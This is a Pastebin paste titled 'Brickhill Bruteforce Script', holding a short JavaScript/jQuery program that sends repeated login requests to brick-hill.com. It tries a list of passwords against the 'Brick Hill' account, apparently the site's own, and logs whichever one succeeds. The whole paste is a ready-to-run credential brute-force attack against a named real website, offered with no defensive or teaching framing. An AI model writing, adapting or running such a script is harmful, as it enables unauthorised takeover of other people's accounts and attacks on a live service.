Advertisement
Peridaxx

Brickhill Bruteforce Script

May 25th, 2017
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Bruteforce(user, arr) {
  2.     this.success = false;
  3.     this.index = 0;
  4.  
  5.     this.start = function() {
  6.         console.log(`%cAttempting to bruteforce ${user}`, 'color: green');
  7.         bruteforce.force();
  8.     }
  9.  
  10.     this.force = function() {
  11.         if (!bruteforce.success) {
  12.             $.post('https://www.brick-hill.com/login/', {username: user, password: arr[bruteforce.index], ln: "Login"}).done(function(data) {
  13.                 if ($('#welcome', data).length) {
  14.                     console.log(`%cSuccessfully bruteforced ${user} with the password ${arr[bruteforce.index]}`, 'color: green');
  15.                     bruteforce.success = true;
  16.  
  17.                     location.reload();
  18.                 } else {
  19.                     if (bruteforce.index == arr.length - 1) {
  20.                         console.log(`%c${arr[bruteforce.index]} failed, bruteforce failed.`, 'color: red');
  21.                     } else {
  22.                         console.log(`%c${arr[bruteforce.index]} failed, trying again.`, 'color: red');
  23.                     }
  24.                 }
  25.  
  26.                 if (arr.length > (bruteforce.index + 1)) {
  27.                     bruteforce.index++;
  28.                     bruteforce.force();
  29.                 } else {
  30.                     console.log(`%cBruteforce finished`, 'color: green');
  31.                 }
  32.             });
  33.         }
  34.     }
  35. }
  36.  
  37. var bruteforce = new Bruteforce('Brick Hill', ["testing", "password123", "shinycoot0101", "brickhilladmins3"]);
  38. bruteforce.start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement